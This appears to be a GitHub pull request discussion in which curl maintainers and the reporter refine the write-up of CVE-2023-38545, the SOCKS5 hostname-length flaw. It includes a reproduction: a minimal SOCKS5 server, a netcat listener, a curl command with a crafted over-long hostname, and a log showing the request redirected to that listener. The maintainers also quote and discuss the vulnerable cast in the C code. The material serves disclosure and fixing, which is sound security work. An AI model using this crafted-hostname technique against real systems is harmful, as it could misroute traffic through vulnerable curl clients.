CVE-2023-38545.md: add additional info

[jay]

(Seems plausible but I have yet to try it myself.)

RyotaK on HackerOne reports successful SOCKS handshake with hostname larger than 255 and without buffer overflow by using a crafted hostname to set the remaining data in the handshake. If the handshake completes successfully then I would think the remaining data in the hostname is sent as data to the destination host. This is limited impact because as I noted in the text whitespace cannot be sent and only high port numbers

[Ry0taK]

Thanks for opening the pull request! (And I apologize for not opening it myself; I didn't notice that the curl website is open-sourced.)

I'm attaching the setup that I used to reproduce this behavior:

SOCKS5 server:

import socks5 from 'simple-socks'

socks5.createServer().listen(1080);

Reproducion log:

research@desktop:~/projects/curl$ node ../socks-proxy/server.js &
[1] 35041
research@desktop:~/projects/curl$ nc -nlvp 24929 &
[2] 35053
research@desktop:~/projects/curl$ Listening on 0.0.0.0 24929

research@desktop:~/projects/curl$ src/curl -L -x socks5h://localhost:1080 'http://localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com/test' -v
*   Trying [::1]:1080...
* Connected to localhost (::1) port 1080
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=265]
* SOCKS5 connect to localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com:80 (remotely resolved)
Connection received on 127.0.0.1 50722
* SOCKS5 request granted.
* Connected to localhost (::1) port 1080
> GET /test HTTP/1.1
> Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
> User-Agent: curl/8.4.0-DEV
> Accept: */*
>
* Received HTTP/0.9 when not allowed
* Closing connection
curl: (1) Received HTTP/0.9 when not allowed
GET /test HTTP/1.1
Host: localhostaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com
User-Agent: curl/8.4.0-DEV
Accept: */*

research@desktop:~/projects/curl$
[2]+  Done                    nc -nlvp 24929

[jay]

Sorry I did not realize I left this marked as WIP. I've changed the wording to better explain that the crafted hostname contains a hostname, port and arbitrary data.

[bagder]

The reference to an integer overflow puzzles me. How is this an integer overflow?

[Ry0taK]

Since the hostname_len is a size_t, usually an unsigned int, casting it to the char may cause the overflow, so I called it integer overflow in the original email.
But something like the incorrect conversion between numeric types might fit more?

[jay]

      else {
        socksreq[len++] = 3;
        socksreq[len++] = (char) hostname_len; /* one byte address length */
        memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
        len += hostname_len;
      }

type conversion causes the overflow. there may be an overflow from size_t to char, or from char to unsigned char. assume twos complement and char is signed. it's usually a truncation though a compiler can technically do something else.

something like the incorrect conversion between numeric types might fit more?

i think integer overflow is fine and you had it right unless i'm misinterpreting the standard

[bagder]

Ah yes, you are right. I went back and checked the previous code as I had clearly blanked out on some of the specifics. It is indeed an integer overflow in there. Sorry for the noise.